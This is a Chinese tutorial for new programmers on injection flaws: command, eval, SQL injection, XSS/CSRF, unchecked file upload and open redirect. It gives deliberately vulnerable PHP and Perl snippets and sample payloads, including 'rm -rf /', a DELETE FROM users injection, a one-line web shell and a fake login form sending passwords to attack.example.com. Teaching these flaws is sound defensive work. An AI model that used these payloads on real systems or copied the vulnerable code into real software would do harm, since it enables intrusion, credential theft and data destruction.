不少程序上錯誤就像人類世界的病毒同樣,咱們應該給咱們的新入行的程序員注射一些疫苗,就像給新生兒打疫苗同樣,但願程序員從入行時就對這些錯誤有抵抗力。 javascript
個人那個疫苗網站正在建議中(很差意思拖了好久),不過,我能夠先寫一些關於程序員疫苗性質的文章,也算是熱熱身。但願你們喜歡,先向你們介紹第一注疫苗——代碼注入。 php
咱們先來看一段perl的代碼: html
1
2
3
4
5
6
7
8
9
10
11
|
useCGI qw(:standard);
$name= param('name');
$nslookup="/path/to/nslookup";
printheader;
if(open($fh,"$nslookup $name|")) {
while(<$fh>) {
printescapeHTML($_);
print"<br>\n";
}
close($fh);
}
|
若是用戶輸入的參數是: java
1
|
coolshell.cn%20%3B%20/bin/ls%20-l
|
那麼,這段perl的程序就成了: node
1
|
/path/to/nslookupcoolshell.cn ;/bin/ls-l
|
咱們再來看一段PHP的程序: 程序員
1
2
3
|
$myvar='somevalue';
$x=$_GET['arg'];
eval('$myvar = '.$x.';');
|
「eval「的參數將會視同PHP處理,因此額外的命令可被添加。例如:若是」arg」若是被設成」10; system('rm -rf /')「,後面的」system('rm -rf /')「代碼將被運行,這等同在服務器上運行開發者意料外的程序。(關於rm -rf /,你懂的,可參看「一個空格引起的悲劇」) shell
再來看一個PHP的代碼 數據庫
1
2
3
4
5
6
|
$isadmin= false;
...
...
foreach($_GETas$key=>$value) {
$$key=$value;
}
|
若是攻擊者在查詢字符串中給定」isadmin=1″,那$isadmin將會被設爲值 「1″,而後攻擊值就取得了網站應用的admin權限了。 瀏覽器
再來看一個PHP的示例: 安全
1
2
3
4
|
$action='login';
if(__isset($_GET['act'] ) )
$action=$_GET['act'];
require($action.'.php');
|
這個代碼至關危險,攻擊者有可能能夠幹這些事:
這樣的示例有不少,只要你的程序有諸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及相似的應用程序接口,都是比較危險的,最好不要讓其中的字符串去拼裝用戶的輸入。
PHP提供escapeshellarg()和escapeshellcmd()以在調用方法之前進行編碼。然而,實際上並不建議相信這些方法是安全的 。
SQL injection,是發生於應用程序之數據庫層的安全漏洞。簡而言之,是在輸入的字符串之中注入SQL指令,在設計不良的程序當中忽略了檢查,那麼這些注入進去的指令就會被數據庫服務器誤認爲是正常的SQL指令而運行,所以遭到破壞。
在應用程序中如有下列情況,則可能應用程序正暴露在SQL Injection的高風險狀況下:
例程:
某個網站的登陸驗證的SQL查詢代碼爲
1
2
|
strSQL ="SELECT * FROM users
WHERE (name = '"+ userName +"') and (pw = '"+passWord+"');"
|
用戶在登陸時惡意輸入以下的的用戶名和口令:
1
|
userName ="' OR '1'='1";
|
1
|
passWord="' OR '1'='1";
|
此時,將致使本來的SQL字符串被解析爲:
1
2
|
strSQL ="SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
|
也就是實際上運行的SQL命令會變成下面這樣的,所以致使無賬號密碼,也可登陸網站。
1
|
strSQL ="SELECT * FROM users;"
|
這還不算惡劣的,真正惡劣的是在你的語句後再加一個本身的語句,如:
1
|
username="' ; DELETE FROM users; --";
|
這樣一來,要麼整個數據庫的表被人盜走,要麼被數據庫被刪除。
因此SQL注入攻擊被俗稱爲黑客的填空遊戲。你是否還記得酷殼這篇文章裏的SQL注入?
當他們發現一個網站有SQL注入的時候,他們通常會幹下面的事:
如何避免
跨網站腳本(Cross-site scripting,一般簡稱爲XSS或跨站腳本或跨站腳本攻擊)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序一般是JavaScript,但實際上也能夠包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能獲得包括但不限於更高的權限(如執行一些操做)、私密網頁內容、會話和cookie等各類內容。
假如咱們有這樣一段PHP的代碼:
1
2
|
$username=$_GET['username'];
echo'<div> Welcome, '.$username.'</div>';
|
那麼咱們能夠這樣來注入:
甚至這樣:
這會讓網頁顯示如下內容:
1
2
3
4
5
6
7
8
9
10
|
<divclass="header"> Welcome,
<divid="stealPassword">Please Login:
<formname="input"action="attack.example.com/stealPassword.php"method="post">
Username: <inputtype="text"name="username"/>
<br/>
Password: <inputtype="password"name="password"/>
<inputtype="submit"value="Login"/>
</form>
</div>
</div>
|
注入的代碼還有可能變種爲以下這種更爲隱蔽的方式(unicode碼):
XSS的攻擊主要是經過一段JS程序得用用戶已登陸的cookie去模擬用戶的操做(甚至偷用戶的cookie)。這個方式可讓用戶在本身不知情的狀況下操做了本身不指望的操做。若是是網站的管理員中招,還有可能致使後臺管理權限被盜。關於其中的一些細節能夠參看《新浪微博的XSS攻擊》一文。XSS攻擊是程序員有一糊塗就很容易犯的錯誤,你還能夠看看網上的《騰訊微博的XSS攻擊》。
XSS攻擊在論壇的用戶籤檔裏面(使用img標籤)也發生過不少次,包括像一些使用bcode的網站,頗有可能會被注入一些能夠被瀏覽器用來執行的代碼。包括CSS都有可能被注入javascript代碼。
另外,XSS攻擊有一部分是和瀏覽器有關的。好比,以下的一些例子,你可能歷來都沒有想過吧?(更多的例子能夠參看酷殼很早之前的這篇文章《瀏覽器HTML安全列表》)
1
2
3
4
5
|
<tablebackground=」javascript:alert(1)」>
<metacharset=」mac-farsi」>¼script¾alert(1)¼/script¾
<imgsrc=」javascript:alert(1)」>
|
XSS攻擊一般會引起CSRF攻擊。CSRF攻擊主要是經過在A站上設置B站點上的連接,經過使用用戶在B站點上的登陸且尚未過時的cookie,從而使得用戶的B站點被攻擊。(這得益於如今的多Tab頁的瀏覽器,你們都會同時打開並登陸不少的網站,而這些不一樣網站的頁面間的cookie又是共享的)
因而,若是我在A站點內的某個貼子內注入這麼一段代碼:
頗有可能你就在訪問A站的這個貼子時,你的網銀可能向我轉了一些錢。
如何避免
要防止XSS攻擊,通常來講有下面幾種手段:
另外,你可能以爲網站在處理用戶的表單提交就好了,其實不是,想想那些Web Mail,我能夠經過別的服務器向被攻擊用戶發送有JS代碼、圖片、Flash的郵件到你的郵箱,你打開一看,你就中招了。因此,WebMail通常都禁止顯示圖片和附件,這些都很危險,只有你徹底瞭解來源的狀況下才能打開。電子郵件的SMTP協議太差了,基本上沒法校驗其它郵件服務器的可信度,我甚至能夠本身建一個本機的郵件服務器,想用誰的郵件地址發信就用誰的郵件地址發信。因此,我再次真誠地告訴你們,請用gmail郵箱。別再跟我說什麼QQMail之類的好用了。
上傳文件是一個很危險的功能,尤爲是你若是不校驗上傳文件的類型的話,你可能會中不少不少的招,這種攻擊至關狠。試想,若是用戶上傳給你一個PHP、ASP、JSP的文件,當有人訪問這個文件時,你的服務器會解釋執行之,這就至關於他能夠在你的服務器上執行一段程序。這無疑是至關危險的。
舉個例子:
1
2
3
4
5
6
|
<formaction="upload_picture.php"method="post"enctype="multipart/form-data">
要上傳的文件:
<inputtype="file"name="filename"/>
<br/>
<inputtype="submit"name="submit"value="Submit"/>
</form>
|
1
2
3
4
5
6
|
$target="pictures/".basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target)){
echo"圖片文件上傳成功";
}else{</div>
echo"圖片文件上傳失敗";
}
|
假如我上傳了一個PHP文件以下:
1
2
3
|
<?php
system($_GET['cmd']);
?>
|
那麼,我就能夠經過以下的URL訪問攻擊你的網站了:
1
|
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
|
抵禦這樣的攻擊有兩種手段:
1)限制上傳文件的文件擴展名。
2)千萬不要使用root或Administrator來運行你的Web應用。
URL跳轉頗有可能會成爲攻擊利用的工具。
好比下面的PHP代碼:
1
2
|
$redirect_url=$_GET['url'];
header("Location: ".$redirect_url);
|
這樣的代碼可能很常見,好比當用戶在訪問你的網站某個頁觀的時候沒有權限,因而你的網站跳轉到登陸頁面,固然登陸完成後又跳轉回剛纔他訪問的那個頁面。通常來講,咱們都會在跳轉到登陸頁面時在URL里加上要被跳轉過去的網頁。因而會出現上述那樣的代碼。
因而咱們就能夠經過下面的URL,跳轉到一個惡意網站上,而那個網站上可能有一段CSRF的代碼在等着你,或是一個釣魚網站。
1
|
http://bank.example.com/redirect?url=http://attacker.example.net
|
這種攻擊具備的迷惑性在於,用戶看到的http://bank.example.com,覺得是一個合法網站,因而就點了這個連接,結果經過這個合法網站,把用戶帶到了一個惡意網站,而這個惡意網站上可能把頁面作得跟這個合法網站如出一轍,你還覺得訪問的是正確的地方,結果就被釣魚了。
解決這個問題很簡單,你須要在你的後臺判斷一下傳過來的URL的域名是否是你本身的域名。
你能夠看看Google和Baidu搜索引擎的連接跳轉,百度的跳轉連接是被加密過的,而Google的網站連接很長,裏面有網站的明文,可是會有幾個加密過的參數,若是你把那些參數移除掉,Google會顯示一個重定向的提醒頁面。(我我的以爲仍是Google作得好)